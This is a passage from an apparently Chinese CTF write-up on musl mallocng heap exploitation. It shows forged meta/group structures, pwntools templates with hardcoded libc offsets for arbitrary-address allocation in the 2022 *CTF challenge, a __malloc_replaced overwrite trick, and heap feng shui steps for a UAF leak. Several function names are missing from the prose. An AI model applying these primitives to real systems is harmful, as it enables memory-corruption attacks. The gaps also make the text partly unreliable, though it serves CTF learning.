debug musl( 八 )

<< LAST_INDEX) - 1) ^ (1 << FAKE_CHUNK_INDEX);fake_meta->freed_mask = 0;uint8_t *fake_chunk = (uint8_t *) ((uint64_t) fake_group->storage + size_classes[fake_meta->sizeclass] * UNIT * FAKE_CHUNK_INDEX);*(uint16_t *) (fake_chunk - 2) = (fake_chunk - fake_group->storage) / UNIT;fake_chunk[-3] = FAKE_CHUNK_INDEX;fake_meta->prev = fake_meta->next = ⌖free(fake_chunk);assert(target.prev == target.next && target.prev == &target);return 0;}
任意地址 ()
以 2022*CTF为例 。
伪造 group ,meta,,然后释放 group 中的 chunk 使 meta 链入链表中 。之后反复释放和申请 meta 所在 chunk 并修改 meta 中的 mem 指向就可以达到任意地址的效果 。
注意函数中有如下检查,因此需要申请的 fake chunk 的前面对应位置应该为 0。
assert(!p[-4]);
模板如下:
fake_name_addr = libc.address + 0xb7990fake_meta_area_addr = libc.address - 0x6000fake_meta_addr = fake_meta_area_addr + 0x8fake_group_addr = elf.address + 0x4b90fake_chunk_addr = fake_group_addr + 0x10fake_group = p64(fake_meta_addr).ljust(0x28, '\x00')fake_meta = ''fake_meta += p64(0)# prevfake_meta += p64(0)# nextfake_meta += p64(fake_group_addr)# memfake_meta += p32(0)# avail_maskfake_meta += p32(0)# freed_masklast_idx = 3freeable = 1sizeclass = 8maplen = 0fake_meta += p64(last_idx | (freeable << 5) | (sizeclass << 6) | (sizeclass << 12))fake_meta_area = ('\x00' * 0xfe0 + p64(leak_secret) + fake_meta).ljust(0x2000, '\x00')fake_node = ''fake_node += p64(fake_name_addr)# name_addrfake_node += p64(fake_chunk_addr)# content_addrfake_node += p64(len('fake name'))# name_sizefake_node += p64(0)# content_sizefake_node += p64(0)# next
对于函数,定义如下:
void *calloc(size_t m, size_t n) {if (n && m > (size_t) -1 / n) {errno = ENOMEM;return 0;}n *= m;void *p = malloc(n);if (!p || (!__malloc_replaced && __malloc_allzerop(p)))return p;n = mal0_clear(p, n);return memset(p, 0, n);}#define is_allzero __malloc_allzeropint is_allzero(void *p) {struct meta *g = get_meta(p);return g->sizeclass >= 48 ||get_stride(g) < UNIT * size_classes[g->sizeclass];}
在调用完之后如果为 0 则会调用函数,该函数会调用,在函数中有大量检查,因此如果要用实现任意地址需要先将改为非 0。
在函数中会设置申请的 chunk 的头部信息 。因此只要通过伪造 meta 使得对应字段不为 0 且该字段会覆写从而在第一次任意地址修改为非 0。
*(uint16_t *) (p - 2) = (size_t) (p - g->mem->storage) / UNIT;p[-3] = idx;
模板如下:
malloc_replaced_addr = libc.address + 0xb6f84fake_meta = ''fake_meta += p64(fake_meta_addr)# prevfake_meta += p64(fake_meta_addr)# nextfake_meta += p64(malloc_replaced_addr - 0x80 - 0x20 + 4)# memfake_meta += p32(0b10)# avail_maskfake_meta += p32(0)# freed_maskfake_meta += p64(last_idx | (freeable << 5) | (sizeclass << 6) | (sizeclass << 12))fake_meta_area = ('\x00' * 0xfd0 + p64(leak_secret) + fake_meta).ljust(0x2000, '\x00')
堆风水
这里以 *CTF 2022为例 感受一下 。
图中绿色表示,红色表示 Freed ,白色表示 Inuse。
这里假设 A 为 node ,B 为 name ,C 为,考虑 0x30 的。
首先构造如下堆排布:
释放第一个 node。
再次创建一个 node,由于优先分配状态的 chunk 因此 A 和 C 顺序与正常情况相反 。
因为只有链表头不直接相连的 node 才能 uaf,因此需要先填满第二个 group。
之后释放前面 A C 顺序相反的 node。
再次申请一个 node 此时可以利用 uaf 泄露 libc 和 elf 基址 。